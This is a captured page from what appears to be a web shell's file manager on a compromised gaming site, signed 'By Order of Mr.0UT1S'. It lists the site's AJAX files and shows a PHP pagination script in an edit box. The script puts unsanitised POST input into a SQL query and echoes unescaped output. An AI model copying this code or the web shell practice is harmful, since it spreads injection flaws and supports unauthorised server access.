home
/
aioutajg
/
watermelongame.site
/
includes
/
ajax
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
arc.php
1.34 KB
Rename
Delete
cd.php
1.20 KB
Rename
Delete
insert-likes.php
3.38 KB
Rename
Delete
insert-played-views.php
510 bytes
Rename
Delete
sr.php
1.21 KB
Rename
Delete
<?php require_once('../config.php'); $page = $_POST['page'] ?? 1; $limit = 30; $row = ($page - 1) * $limit; $type = $_POST['type']; // Ready Query by Category Name if ($type == "popular") { $query = "SELECT * from zon_games where game_played > 10 order by id desc limit $row,$limit"; } if ($type == "newest") { $query = "SELECT * from zon_games order by id desc limit $row,$limit"; } $run = mysqli_query($con, $query); $game = mysqli_fetch_all($run); foreach ($game as $row) { ?> <a href="<?php echo $site_url ?>single/<?= $row[0] ?>/<?php $text = $row[1]; $lower = strtolower($text); $revspace = str_replace(" ", "-", $lower); echo $revspace; ?>" class="box block relative overflow-hidden rounded-xl overflow-hidden upward {scale-up} cursor-pointer transition duration-300 overlay"> <img src="<?= $row[3] ?>" class="w-full h-full object-cover" alt="<?= $row[1] ?>"> <h2 style="z-index: 9;" class="text-white absolute bottom-0 left-0 px-2 py-2"><?= $row[1] ?></h2> </a> <?php } ?>
Save